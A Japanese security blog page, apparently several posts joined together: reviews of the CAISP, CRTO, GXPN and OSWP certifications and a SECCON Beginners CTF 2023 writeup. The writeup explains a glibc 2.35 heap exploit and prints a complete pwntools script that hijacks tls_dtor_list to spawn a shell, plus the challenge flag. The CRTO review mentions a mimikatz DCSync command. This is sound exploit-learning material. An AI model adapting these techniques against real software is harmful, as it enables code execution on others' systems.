CAISP体験記
こんだけAIが活用され得る状況において何もわからねーのはやばいなぁと思い、
だらだらと約半年学習しながらCAISPの試験を受けてきました。自身の脳内整理のアウトプットを兼ねて。
CAISP(Certified AI Security Professional)について
Practical DevSecOps社が開発したAIセキュリティの認定資格で、以下のような項目が学習できると掲げられています。
- プロンプトインジェクション、敵対的攻撃、モデル汚染などをハンズオンラボを通じ、MITRE ATLAS*1やOWASP Top10 LLM Vulnerabilities*2のようなフレームワークを用いて、LLMの識別と対策を行う。
- AI開発パイプライン全体で、モデルの署名、SBOM(ソフトウェア部品表)、脆弱性スキャン、依存関係の攻撃を防止といった実践的なテクニックでAIサプライチェーンリスクを検出して低減する。
- AIシステムとインフラでセキュリティの脆弱性を機械的に識別、評価及び文書化するため、STRIDEフレームワークを含むAIの脅威モデリングの方法論を適用する。
- CI/CDパイプライン、自動化された意思決定システム、依存関係を標的とするAI特有の攻撃に対して、実証済みの防御方法でDevOps環境の安全を確保する。
- 本番環境でのデータ汚染、モデル抽出、回避攻撃といった技術を含む、LLM対する新興の攻撃に対抗する実践的な防御方法を学習する。
- コンプライアンス基準やISO/IEC 42001、EU AI法などの法令を学び理解し、AIシステムの機密データを保護しながら、AIのコンプライアンス、透明性、倫理的な実装を確保する。
コース内容
先ほど記述した学習項目でほとんどですが、細部の学習項目(シラバス)はこちら。
www.practical-devsecops.com
理論だけではなく、ハンズオンも多くあります。
「すべて英語のコンテンツである」という部分を除き、AIとは何かという導入部分から新興のAIに対する攻撃まで幅広く取り扱っており、ハンズオンで理論を理解することもできるので、AI初心者にとっては取り組みやすいコンテンツになっていると思います。
私は数学が苦手ですが、そのような要素がだいぶ排除されているので、比較的気楽に受講できました。
受講する際に必要なスキルセットについて
必要なスキルセットは公式サイトに以下のように記述されています。
You should have a basic knowledge of running Linux commands and also be familiar with any scripting language like Python, Golang, or Ruby. It will definitely be helpful.
Linuxコマンドの実行に関する基礎知識を有し、Python、Golang、Rubyなどのスクリプト言語にも精通している必要があります。これは確実に役立つでしょう。
この学習内容は標準的なことを教えてくれるので、究極はPythonをそこまで知らなくてもLinuxの標準コマンドでファイル操作ができればよいです(大半はコピペでなんとかなるので、このコースではフルスクラッチでプログラムを書くレベルの知識は必要ありません)。
ただ、これを現実世界の攻撃に合わせてチューニングするといったことが必要であると考えるならば、Pythonで簡単なプログラムの修正ができるレベルの知識があると望ましいと思います。
環境(サポート)面
- 実習環境では独自のハンズオンラボがあります。ブラウザベースで利用できるので特別な環境は必要ありません。一時的に動作が緩慢になるというのはどの学習コンテンツでも一緒ですが、OSCPのようなVPN接続ができないー、全く繋がらんやないか!といったことに悩まされることはなかったです。
- Mattermostのチャットツールで質問をすればチャットボット+講師陣が手厚くサポートしてくれるため、TryHarderな感じもなくこれもいいかなと思います。TryHarderも嫌いではないですが。
- ただなんとなく受講者間のコミュニケーションが少ないように感じるのはなんだか少し残念な気がします。
受講のきっかけ
- AIの知識不足を補いたい(当時はRAGってなんですかそれ、おいしいの?というレベル感でした。)。
- 脳の筋トレを継続したい。
- コースが出たばかりで$150ほど安かった。
受講者のバックグラウンド
受講から試験受験までのスケジュール
学習期間に関する制約
ラボの期間が60日ということでかなり慌てていたのですが、コースコンテンツが途中で追加・修正されるといった状況が生起したため、ラボを延長してもらえることになりました(60→180日)。とはいえ、ラボは60日あれば十分こなせると思いますが、注意すべき点がいくつかあります。
コース開始と同時にラボの日数がカウントダウンされ、理論を説明するレクチャー動画やその資料は事前に提供されない。
ラボはあらかじめ理論を知った上で取り組むことが理想であるものの、英語→日本語への時間を要するため、英語に慣れておくか、適宜の翻訳ツールを活用することになりますので適宜の準備が必要です。
スケジュール感
様々な調べものをしながら、時間を取れずにダラダラしていた期間を含めて概ね5か月くらいかけて学習したかと思います。
翻訳に係る適切なツールを利用していなかったため、自力翻訳によって想像以上に時間がかかってしまいました。
なお、前述のとおり、ラボは60日あれば十分です。
- 0日~150日:コースコンテンツの視聴及び読み込み、ラボの実施(1回目)
- 151日~170日:不明な用語の洗い出し、ラボの実施(2回目)
試験について
試験概要
こちらにあるとおりです。
www.practical-devsecops.com
ざっくりまとめると、
- 6時間でAIセキュリティに関する5つのタスクをこなす。選択式の問題はない。
- 80%で合格。
- 試験終了後、実施したタスクを説明するレポートを書いて、試験後24時間以内に提出する。
- 某試験のような試験監督はありません。
試験+レポート作成の振り返り
だいたい2.5時間で一通りを流し終えて休憩し、2回目はスクショの取り忘れ等がないか再現性をチェックしてだいたい4時間で試験を終了しました。
毎度のことながら細かくはお伝えしませんが、コース内のラボをしっかりやっておけば全く問題ありません。先人もそう言っています。
また、サンプルレポートもあるのでフォーマットは心配する必要はなく、内容としては第三者(あまり知識のない方)が見ても再現性があれば大丈夫です。
レポート提出から概ね3日後に試験結果が通知されました。この後、認定証(+バッジ)が必要な場合は別途手続きを行うという形になります。
ぶっちゃけ、試験は24時間監視付きの某試験に比べたらなんと心が清々しいことか。
雑感
いつものように感じたことを書きます。
理論さえ知れば、基本的なLLMに対する攻撃はさほど難しくない。
例えば、LLMに対するプロンプトインジェクションはソーシャルエンジニアリングに似ていると言われるように、何か高度な要素が必要かというとそうでもない気がします。バイナリのリバースエンジニアリングを行ってゼロデイを見つける方がよほど難しいです。
一通り教材を流して攻撃や防御手法は概ね理解したとするも、なんか自分は全然AIのことわかってない。
奇妙な感覚なのですが原因は明らかで、AIというブラックボックスに対する攻撃理論等を理解しているような形になるので、挙動を分析してより踏み込んだ攻撃手法を理解するためには、数学的な要素を含めてAIエージェントがどのように構築されているかという実装を深く理解する必要があると感じています。
教材と動画の翻訳が苦行だった。
私は英語が全くできないわけではないと認識しているものの、動画が主体で構成されているので、適切な翻訳ツールがないといたずらに時間を溶かしてしまう可能性に注意してください。
あと学習内容の論点とは異なり、これは賛否が分かれるところですが、
認定を受けるには政府発行のIDの写しが必要
です。これは人によって少し抵抗があるかもしれません。
最後に
基礎を身に着けるという点では、ハンズオンを含めたAIの実装や攻撃手法が含まれているのでイメージしやすく、非常に良いコンテンツだと思います。私は数学苦手ですし、G検定のような理論だけでは耐えられないなーと思ったのも事実です。
ただ、既にプロンプトインジェクションなんか簡単にできるよ、モデルの改ざん手法知っているよ、といったAIのセキュリティを十分理解している方にとっては物足りないと思いますのでその点ご注意を。
AIを正しく理解するためには数学から避けて通れないのはそれとなく理解もしていますし、分かった気になっている部分が多いです。前提条件ではPythonのプロである必要はないと述べられていますが、提供されるPythonプログラムの意図(なぜここはこういう設定なのか)や質問に対するLLMの答えの導出の仕組みを突き詰めて理解すると、もう少し解像度が上がる感じがします。
また、現実を振り返った際に、様々な新興の攻撃が存在することを考えると、これらのコンテンツの応用となる領域の再学習をすることは必須と考えていますが、総じて自身の見識の幅は広がったかなという印象です。
CRTOを受けてきました
ペネトレーションテスト一般の知識・技術としてOffsec社のOSCPを勉強してきたものの、ADやAV/EDR回避といったことに弱点を感じたので、CRTO試験を受けてきました。
自称えせコバルトストライカーになれたかなと。。。
RTOについて
コース内容
Zeropoint Security社が提供する「Red Team Ops」はオンラインの自己学習コースで、レッドチームに必要な基本的知識とツール、Windows DefenderやAMSI、Applockerの回避についても含まれており、bad OPSEC(検出に繋がるアクション)が何たるかを教えてくれます。
カリキュラムが掲載されていて、攻撃のライフサイクルでまとまっているので比較的理解しやすいです。このコースの最大の特徴は、よく知られる「Cobalt Strike」でPost-Exploitを行う点かと。
training.zeropointsecurity.co.uk
環境面について
テキスト
WebベースのテキストでPDFの出力などはありませんが、現時点では一度購入してしまえば閲覧期限はありませんので、これを参考書として実務に生かしているといったコメントも見受けられました。ずっと使えるのはかなりのアドバンテージかなと思います。
費用について
1ポンド=180円くらいだったので、合計で8万円くらいだったかと思います。
コース(RTO-1):£365
ラボ180日:£83
毎年の流れでいけばBlack Fridayやイギリスの祝日あたりにちょいちょい安くなっているみたいなのでそのタイミングを狙うのが良いかと。
受けようと思ったきっかけ
ホント、事務仕事ばっかりしているとスキルが退化するので不安でしょうがないんですよ。あと執筆時点でOffsecはセールやってますが、年間で300kですもんね。SANSに比べればマシですが。
受講から試験まで
スケジュール感
ざっと1.5か月程度で受験までこぎつけました。日常生活においてほかの事もやりながら、英語学習の一環だと思ってテキストを手作業で翻訳していたので相当時間がかかりました。
40~60時間くらいが適切といったブログもありましたが、のんびりと120時間くらい使ったので、翻訳ツールを活用すればもう少し時間は短縮できたと思います。
- 資料の読み込み1回目+ラボ:約1か月
- Defender有効化+ラボ2回目(約0.5か月)
- C2プロファイルの再確認(2日程度)
なお、ラボの利用時間推移は以下のような感じでした。別のことをやりながら、復習を兼ねてあれこれやっていたので50時間程度は無駄に溶かしていた感もあります。
最初の20日:50時間
30日まで:76時間
40日まで:113時間
試験直前:175時間
詰まった時のコミュニティ頼み
Offsec同様、Discordとstudent dashboardがあります。迷ったらよく参照していました。
試験環境等
試験の中身については省略しますが、ざっと以下のとおりです。
- 模擬環境において与えられたフラグを取得するCTF形式
- 4日間または48時間(途中でラボをシャットダウンすることが可能)
- 6/8個のフラグを取得すれば合格(75%)
- Proctorによる試験監督なし
Offsecのような緊張感はなく、定刻から始められ、全体としてゆったり臨めます。
OSWP受験の時は「この黒い箱は何だ、片付けろ、これは何だ?」みたいなやり取りで試験時間が3時間ちょいのうちの30分が溶けました・・・
受験後の感想
だいたい20時間程度で全てのフラグに到達しました。

最初と途中でドハマリしたのですが、振り返って分析したところ、極度の緊張から来る凡ミスでした。与えられた環境やテキストをしっかりと理解しておけば問題はないかと思います。テキスト内に示されているチャレンジ課題はしっかりやった方が自信につながります。
この手の資格試験で毎回思いますが、このドハマリ期間は精神がすり減らされます。「もう一回おかわり受験か」と非常に憂鬱でした。
試験時間が残り10時間以上あったのですが、合格基準を満たしていたのでCanvas Badgesからメールが届いてました。

OSCPと比較してどうなのよ問題
そもそもレッドチームとペネトレーションテストを同等に比較することは困難なので、公開されたシラバスを踏まえてざっくりとした主観です。
- OSCPは広く浅く、C2をほぼ使わない
- CRTOはPost-Exploit重視、C2サーバ利用がメイン
C2サーバを駆使して様々な操作を行うという点では、基本的事項を理解していないとC2のツールが変わる度に苦労しそうな点があり、そういう点ではOSCPでC2を使わない基本的事項を理解しておくことが大事と感じ、OSCP→CRTOのラーニングパスはそれなりによかったなと思いました。
また、名だたる攻撃者グループがCobalt Strikeを多数利用していることも納得で、本当に便利なPost-Exploitツールであると認識しました(execute-assemblyは超便利)。
ただ、OSEPとのシラバス比較でも、例えばIDS/IPSの回避といった点がCRTOにはなく、どれが最良であるというのは結論しづらいところでした。
雑感
感じたことを以下に記載しておきます。
動画に字幕がない
英語が苦手な方は少々大変かもしれません。google chromeのユーザ補助を使って翻訳(英語に文字起こし)はできるので、活用をお勧めします。
大事なところにフォーカスしているので、説明があっさり
Offsecのような親切な動画説明はないのでご注意を。わからない部分は自分で調べることも多少必要になるかもしれません。
全ての項目に動画があるわけではない
気になるところはラボを活用して自分で理解する、またはフォーラムを活用することになります。
どのコンテキストで実行するアクションかを把握する
例でKerberosでチケットを要求する際、どのコンテキストで実行すべきなのかがよくわからなくなるので、試験前に整理しておくと頭がスッキリします。
Guacamoleはキーボードのタイプミスが多数発生
メンブレンとメカニカルキーボードを使い分けた環境では、メカニカルキーボードのみ「mimikatz lsadump::dcsyncccccccccccc」といったタイプ連打が起きました。手元の環境の問題かもしれませんが参考まで。
割とストレスがたまったので、ブラウザ上の仮想マシンに直接入力するのではなく、ホスト上のメモ帳などを使ってからコピペしてました。
Defenderを有効にする場合としない場合で戦略の組み方が全く違う
これはこのトレーニングの最大の利点かと思いますが、一通りの技術を理解させてからWild Lifeでは本当に通用するのかよといった感じです。現実の世界を見据えたカリキュラムの組み方は非常によかったなと思いました。
このため、Defenderを有効にしてからラボをもう一度こなすことをお勧めします。
最後に
コンテンツとしては更新頻度も早く、とても素晴らしいものでした。ラボ環境のアップデートスピードも速いように思います。
私の弱点のAD知識を大幅に補強してくれました。次はRTO-2に行くか、OSEPに行くかはちょっと考えたいと思います。OSEDも受けたいけどOffsecへのお布施が足りない。
SECCON Beginners CTF 2023 writeup(No_Control)
pwnのHard問をようやく解けるようになってきたので、勉強がてらWriteupを書きます。
多少下手くそかもしれませんがご容赦ください。
ファイルの状態
セキュリティが全て有効、PIE、64bit。ソースあり。libc2.35。
$ file chall chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=faa7e2ee4798355d90527ada0307ea81a8270657, not stripped $ checksec --file=chall --output=csv Full RELRO,Canary found,NX enabled,PIE enabled,No RPATH,RUNPATH, Symbols,No,0,3,chall
CRUDとあるとおり、典型的なheap問のオプション。
$ ./chall 1. create 2. read 3. update 4. delete 5. exit >
脆弱性等
Write-after-free
update_memo()はメモの中身が空でもmemoのポインタが存在すれば解放されたチャンクにデータを書き込める。
→tcacheのFD/BKが改ざん可能。
void update_memo() { int idx; char *memo; idx = ask_index(); if (idx < 0 || LIST_SIZE <= idx) { puts("Invalid index"); } else if (memos[idx] == NULL) { puts("that memo is empty"); } else { memo = memos[idx]; } if (memo == NULL) { puts("something wrong"); } else { printf("content: "); read(STDIN_FILENO, memo, MEMO_SIZE); } return; }
Read-after-Free
create_memo()、delete_memo()を実行してtcacheに入れ、再度create_memo()を行うと、解放したtcacheが再利用され、read_memo()でtcacheのFDが読み取り可能になる。

tcacheカウントの書き換え
ここでの注意点としてTcacheのFDがGLIBC2.32からPROTECT_PTRマクロによって保護されるようになっている。
また、次のtcacheアドレスのアライメントが16バイトに沿っていないと怒られる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/malloc/malloc.c
#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
次のtcacheのポインタがなければ(すなわちNULL)、単に12bit左にシフトするとheapのベースアドレスを得ることができる。
ただ、これではlibcのアドレスは出てこないので、tcacheのメタデータ(カウント数)7以上に改ざんして、次に解放したチャンクがunsortedbinに送られるようにする必要がある。
これをもとに前述のWrite-After-Freeを使ってtcacheの次のエントリをtcacheのメタデータのカウント数部分(heapベース+0x10)をポイントするようにし、0x90のサイズを7に書き換える。

tcacheのカウント、エントリがよくわからないという方は下記の記事が参考になります。
note.com
unsortedbinからのlibcリーク
0x90のtcacheのカウント数が7になったところで、更にチャンクを開放すればunsortedbinに入るが、普通に再度mallocで確保するとFD/BKが消えてしまったので、remaindering(ここでは隣接するunsortedbinチャンクを2つ作って結合させ、そこから0x90サイズを要求して切り出す)をすることでlibcのベースアドレスを得ることができた。
この作業をする前にtcacheのカウント数を再び0に戻し、unsortedbinが使われるようにする必要あり。

tls_dtor_listの改ざん
ここまでくればそれぞれのベースアドレスがわかり、任意のアドレスに任意のデータを書き込むことが可能になったので、exit_funcsのtls_dtor_listを改ざんしてsystem(/bin/sh)をやってみた。
下記がとても参考になりました。
tttang.com
hjmsan.hatenablog.com
exitの後に任意の関数を実行させるためには、tls_dtor_listに登録することになる。
その中でPTR_MANGLE(func)マクロにより保護されているため、pointer_guardの値とのXOR、RORで復元することが必要になる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/stdlib/cxa_thread_atexit_impl.c
__call_tls_dtors (void) { while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func; PTR_DEMANGLE (func); tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. That way, we protect this access from a potential DSO unload in _dl_close_worker, which happens when l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */ atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); } }
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))
このpointer_guardの値はtcbhead_tの構造体の0x30バイト目に存在する。
tcbhead_tはFSセグメントに保存されている。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/sysdeps/x86_64/nptl/tls.h
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsigned long int unused_vgetcpu_cache[2]; /* snip..... */ } tcbhead_t;
tls_dtor_list改ざんまでのアプローチ
・pointer_guardの値であるFS:0x30を任意の値にする(ここでは0にした)。
・任意の関数(system)を実行させるのに必要な計算(ROR、XOR)を行う
addr = ((system ^ 0)<<0x11)&0xffffffffffff8000 addr += ((system ^ 0)>>0x2f)&0x7fff
・tls_dtor_listにヒープのアドレスを書き込む&ヒープアドレスを下記のようにする
0x0 -> 算出したaddr 0x8 -> 0x10へのポインタ 0x10 -> /bin/sh\x00
このようにすると、プログラムをexitで終了すれば__call_tls_dtorsのcall raxでsystem(/bin/sh)が降ってきます。めでたしめでたし。

ctf4b{w1sh_y0u_w3r3_h3r3}最終スクリプト
from pwn import * elf = context.binary = ELF("./chall") libc = ELF("./libc.so.6") gs = ''' set breakpoint pending on break __call_tls_dtors continue ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) #io = start() io = remote('no-control.beginners.seccon.games',9005) def create(index): io.sendlineafter(b"> ",b"1") io.sendlineafter(b"index: ",str(index).encode()) def read(index): io.sendlineafter(b"> ",b"2") io.sendlineafter(b"index: ",str(index).encode()) def update(index,content): io.sendlineafter(b"> ",b"3") io.sendlineafter(b"index: ",str(index).encode()) io.sendlineafter(b"content: ",content) def delete(index): io.sendlineafter(b"> ",b"4") io.sendlineafter(b"index: ",str(index).encode()) def exit_prog(): io.sendlineafter(b"> ",b"5") create(0) delete(0) create(1) read(1) heap_base = u64(io.recv(5).ljust(8,b"\x00"))<<12 chunk_addr = heap_base+0x2a0 info(f"heap_base @ 0x{heap_base:02x}") create(4) create(2) create(3) create(0) delete(3) delete(2) delete(0) update(0,p64((chunk_addr>>12)^heap_base+0x10)) # to allocate tcache count create(3) create(2) # tcache entry update(2,p64(0) + p64(0x0007000000000000)) delete(3) delete(1) # create unsortedbin delete(4) update(2,p64(0) + p64(0x0)) # drop tcache count create(1) read(1) unsorted_leak = u64(io.recv(6).ljust(8,b"\x00")) libc.address = unsorted_leak - 0x219df0 info(f"libc_base @ 0x{libc.address:02x}") ptr_guard = libc.address - 0x2890 dtor_list = libc.address - 0x2918-0x8 #tcache alignment gadget = libc.sym.system create(3) delete(3) delete(1) update(1,p64((chunk_addr>>12)^ptr_guard)) create(3) create(1) update(1,p64(0)) # set NULL to pointer_guard # ptr_demangle(ror,xor) addr = ((gadget^pointer_guard)<<0x11)&0xffffffffffff8000 addr += ((gadget^pointer_guard)>>0x2f)&0x7ffff create(4) delete(4) delete(3) update(3,p64((chunk_addr>>12)^dtor_list)) create(4) create(3) update(3,p64(0)+p64(chunk_addr)) #register heap_addr to dtor_list payload = p64(addr) payload += p64(chunk_addr+0x10) payload += b"/bin/sh\x00" update(4,payload) exit_prog() io.interactive()
free_hookなくなるとほんとめんどくさく感じる・・・
GXPNを受けてきました
SANSの資格であるGXPNは英語の記事においてある程度充実しているのですが、日本語ではそこまで取り扱われていないようなので共有しておきます。参考になれば幸いです。
- 講義と試験のアウトライン
- 受験における私のバックグラウンド
- トレーニング受講時
- 試験準備期間にやったこと
- 試験当日
- GXPN取得後の振り返り
- SANSの試験を2回受けて思ったこと(GIAC全般)
- これからSEC660を受講される(検討している)方へ
- GXPNの先人の体験記
- 終わりに
講義と試験のアウトライン
SANS社の日本語サイトにあるとおりですが、SEC660は「Exploit Researcher and Advanced Penetration Tester」、アプリケーション等に対するエクスプロイトコードの開発や初心者のペンテスターが脆弱性を見つけられないような細部領域(MITMや暗号、Kioskからの脱出、Scapyによる細工したパケットの作成など)へのペネトレーションテストについての講義を受けられます。
試験の概要についてはこちらに記載されていますが、ざっとこんな感じです。
- 60問の選択式(うち、6問のハンズオン)
- 試験時間:180分
- 67%以上で合格
受験における私のバックグラウンド
トレーニング受講時
毎日が非常に興味深いコンテンツでしたが、先生の説明を聞いてブートキャンプ(講義後の自主トレ)をやるだけで精一杯でした。SANSの教育コンセプトそのものが「ひとまずたくさん教えて自己学習を後でしてもらう」というスタンスなので、期間中に全て理解する必要はないです。講義やCTFの際はひたすら楽しむことが重要だと思います。なお、SEC660では2日目にもブートキャンプでCTFがあり、最終日も含め楽しかったです。
また、受講期間中にWindowsのDEP無効ROPチェーンを作ることはできなかったのですが、テキストが詳細に解説をしてくれているので、これをしっかり読むことで後日オリジナルのROPチェーンを作ることができました。
試験準備期間にやったこと
トレーニング終了後から約2ヵ月間で受験までたどり着くことができましたが、学習時間は平均して毎日3~4時間といったところです(英語の得手、不得手で時間は増減すると思います)。
- 約50日:テキストの通読及びExerciseの復習、インデックスの作成、終了後に1回目の模擬試験(85%)
- 約5日:テキストの斜め読み、終了後に2回目の模擬試験(同じく85%)
- 約5日:講義のビデオ視聴
試験当日
試験内容は秘密保持の観点からお伝えできないので、当時の立ち振る舞いを記述しておきます。ピアソンの会場で受験し、GIACの試験はオープンブック(テキスト等持込可、模擬試験をプリントして持ち込むのはNG)なので、以下を持ち込みました。
- 講義テキスト
- 英和辞典(コンパクトなもの)
- 作成したインデックス
- コマンドチートシート
とにかくカバンが重かった・・・
時間配分など
当初の計画として54問を2時間、ハンズオンを1時間としました。実際はハンズオン以外の54問を2時間で解答してから休憩を取り、その後ハンズオンで30分ほど時間を余して終了しました。最後の問題を解答すると、Passed(88%)といった文字が出てほっとしました。
試験環境
試験会場次第ではあると思うのですが、SANSだけの試験会場ではないので、与えられる机が狭い可能性があります(SANS試験で2回とも狭かった)。ハンズオンにたどり着くまでは、本を広げるためにキーボードを別の場所に動かすなどしてスペースを確保していました。
試験を振り返って
GPENの時と比較すると、1問に対して考えることが多かったなという感触です(当時、GPENは75問+7問のハンズオンで3時間、75%合格)。
GXPN取得後の振り返り
SEC560から比較してみると、Advancedな内容ではあるので難しく感じる部分もありましたが、エクスプロイトを書くことに関して言えば、武道でいう「型」を教えてもらっただけというところで、実際のアプリケーションなどでエクスプロイトを探す際には対象のアプリの動作をよく理解しなければならない上に昨今の様々なセキュリティ保護策を解決する必要があり、SEC660だけで満足してはならないと思いました(トレーニングとしてはとても素晴らしいです)。
上位のトレーニングとしてSEC760もあり、こちらはヒープやカーネルエクスプロイトなど、Windows11にも適応できるエクスプロイトを書くコースがあるようです。
SANSの試験を2回受けて思ったこと(GIAC全般)
カリキュラム内容によっては難しい問題ももちろんあるとは思うのですが、やはり共通して重要なのは以下の項目だと思います。
インデックスを作ること
ほとんどはテキストの中から出る、かつテキストの持ち込みが可能(オープンブック)と考えると、作成すべきものです。前のGPENの記事でも書いていますが、試験中にテキストをじっくり読んでいる暇はないので、英語が苦手な方は可読性を害さない程度に、テキスト内の重要事項を赤ペンで日本語訳を多めに書くことも一つのTipsかと思います。
模擬試験を受けて、試験環境の体験をしておくこと
記載しているとおりですが、試験のUIに慣れることや、出題の傾向を読み解くにあたっては必須とも言えます(前回GPENを受けた時と試験のユーザインタフェースが変わっていました)。
英語が得意だと奪われる時間が少なくて済む
母国語が英語ではない方の特有の問題だと思いますが、私自身、英語の文脈が分からなくて解けなかったであろう問題を何回か経験しています。Offensive Security社の各種試験などの修行を経たおかげで英語に多少慣れました。気が付けば今回は辞書を引くことが無かったのですが、前回のGPENの時は3回くらい辞書で単語を探していました。長文だとそれだけでも時間がかかりますし、1回だけでも辞書を参照する時間として30秒~1分を奪われるとなると、できる限り英語に慣れておくことは試験を有利にするものと言えます。
試験計画を早々に立てる
これはいずれの試験にも言えることですが、SANSの試験は概ね4ヵ月以内に受験することが必要です。
SANSの試験ではスライドノートも含めてテキストを読破することが最も重要で、どのくらいの期間で読了するかという見積りが立たないことがあります。進捗は日々の仕事の都合や英語のスキルに依存する部分があるので、講義終了後は早々にテキストを読み、1日に読み進められるページ数を把握しつつ、模擬試験や試験本番の日程を定めることもよいと考えます。
選択肢に悩んだ際は、間違っている理由を探す
これも当たり前だろと言われそうですが、間違いの理由を知ることは学びが多い感触です。選んだ解答が正解であることの確信も持てますので、即座に解答が分かった時も、時間に余裕があれば誤答の理由の分析もできると良いかと思います。
これからSEC660を受講される(検討している)方へ
冒頭でも説明していますが、ネットワークペネトレーションテストの基礎については振り返って説明するといったことはありません。また、アセンブリを苦手とする場合、講義の後半はほぼアプリケーションのエクスプロイトとなり、進みが早く感じられて苦労するかもしれませんので、以下の内容を事前に学習する事をお勧めします。
- SEC560相当のネットワークペネトレーションテストに関する知識
- リバースエンジニアリングに関する知識
振り返れば、趣味のレベルでHTBやCTFでPwnableな問題を解いていたことがかなり役立ちました。このやり方では我流かつLinuxに偏った解法でしたが、SANSではWindowsのエクスプロイトも含めて情報を体系的に整理して教えてくれるので、学習してよかったです。
また、前述のSEC760とどちらを受けるべきか、ということに迷う場合は知識を問うクイズがありますので、確認してみてはいかがでしょうか。
www.sans.org
GXPNの先人の体験記
不安解消のためにジャーニーをちらちら見てました。
medium.com
javan.de
blog.geoda-security.com
medium.com
終わりに
- 「Patch Tuesday, Exploit Wednesday」という名言を習得しました。
- 今年はひとまずゆっくりしようと思いますが、Holiday Hack Challengeはやりたい。また来年は何するかぼちぼち考えます(下は酒を除いてこれまでのSANS関連の戦利品です)。

OSWPを取得&今回のLearn Oneでの受験可能資格をコンプしました
OSWPに合格したので、こちらもあんまり記事が見当たらないためナレッジ共有です。
レポート提出してからほぼ丸一日で合格通知が来ました。知らなかったのですが、OSWPに合格すると、ISC2のCPEを10ポイントで申請できるみたいです。
これでOSCP/OSWP/KLCPをゲットしたので、今回申し込んだLearn Oneの受験コンテンツを一通り終えました。

OSWPとは
- Offensive Security社のワイヤレスネットワークに対する攻撃のスキルがあることを証明する資格で、シラバスにもあるとおり、Wi-Fiネットワークに対する攻撃スキルを習得できるものです。Bluetoothやその他のワイヤレスネットワークに対するものは含まれません。OSCPなどと異なり、ラボを自前で作ることが要求されます。
- 執筆時点のExam Guideでは、3時間45分で3つのワイヤレスネットワークを攻略し、うち2つのproof.txtを取得し、24時間以内にレポートを提出すれば晴れて合格らしいです。なお3つのうち1つは攻略が必須になっています。
- 公式のFAQによれば、2022年2月14日以降は新試験になっているようです。中身がどう変わったかまでは見ていませんが、過去の体験記を見る限りでは、WEPがかなり薄くなり、WPA-PSKとWPA-Enterpriseにフォーカスされたものと推測します。
- 教育コンテンツにはキャプティブポータル、WPSに対する攻撃や、Bettercap、Kismetの使い方などもあります。
なぜOSWPを取得しようとしたか
Learn Oneのお布施分を回収したかった- Wirelessに関する知識が乏しかったのでその補てん
- えせマネージャー職として幅を広げたかった
私のバックグラウンド
準備した「もの」
- QNAP TS-453B(余ってたのでRadiusサーバとして)
- Buffalo WAPS-1266(アクセスポイントとして。法人向け。WEPからWPA3-Enterpriseまでいける)
- Buffalo WLI-UC-G300HP(相当昔に購入していたモニターモード可能なワイヤレスアダプタ)
- 適当なスマホ
準備した「こと」
- 教科書の読み込み+演習+チートシート作成(約3週間)
- 教科書の2回目読み込み+演習+基礎知識の穴埋め(約2週間)
- 他のことにうつつを抜かす(約1週間)
後述しますが、試験までの日付が空いてしまったので、2回目は集中力が切れて他のことをやってた時間が多いです。後半で基礎知識の穴埋めとしていますが、ネットワーク屋さんではないのでその辺の知識が乏しく、EAPは巷では魔境と呼ばれているようで、今でもよくわかんねぇなぁと思うことが多々ある・・・。
準備で少々つまづいたところ
モニターモードが可能なアダプタをいかに探すか
これはOSWP受験準備における最大のポイントだと思っており、前述のとおりラボ環境は自前で用意しなければなりません。PEN-210の推奨アダプタは電波法令で定めている技術基準に適合している無線機ではなく、いわゆる「技適マーク」ありのものを探すのが多少面倒です。
下記サイトではモニターモードをサポートしているアダプタを紹介しています。日本のベンダもわずかながら含まれています。
deviwiki.com
※将来性の観点から、技適あり&802.11ax対応のアダプタをできれば調達したいなーと思ったのですが、IntelのAX200くらいしかモニターモードに対応していないみたいです。インターフェースがM.2ですし、ちょっと難しそう。
802.11ax USB adapter | SmallNetBuilder Forums
Intel WiFi 6 AX200 WiFi Card with Kali
ラボで使うAPはWPA-PSK/WPA-Enterprise対応のものを選ぶ(WEPがあるとなおよし)
まんまですが、シラバスに全部含まれているので、ちゃんと準備しましょう。WEP対応のやつが少なくて少々面倒ですね。
試験の申し込みが3週間先以降しか指定できなかった
時間が無くなって追い込まれるというケースを避けたかったので、教科書を一周してから試験の申し込みをしたのですが、3週間も時間が空いてしまい、飽きてしまった部分が否めません(私だけの状況かもしれませんが)。
試験当日
朝9時からの試験だったので、OSCPの時と同じように8時40分くらいからぼちぼちProctoring Softwareにログインして、IDを表示して、部屋の周囲を映してさて試験開始といったところですが、OSCPの時には聞かれなかったような確認事項やアクションがあって開始できたのは9時半。試験終了時間は変わらないので、まさかのここでTry Harderか~。
試験後の感想
- 試験の中身はお伝え出来ないのですが、OSCPに比べて悩む要素が少ないので、教科書のとおりしっかりやることが大事です。すぐにコマンドを打てるよう、チートシートはしっかり作りましょう。また、悩んだらすぐgoogle先生に聞きましょう。
- Kaliのコマンドラインインターフェースであれこれやることが苦手でなければ問題ないレベルです。
- 執筆時点ではWPA3の攻略は厳しい情勢であることを踏まえると、OSWPを取得したからといって、最新アルゴリズムの攻撃に対応できると考えない方が良いです。ただ、脆弱な設定に対する攻撃方法としては有用なので、Learn Oneの契約をあらかじめしていて、時間をかける余裕があり、ワイヤレスのテストに興味がある方は1つの選択肢となるのではないでしょうか。
Learn One受験コンテンツを終えて
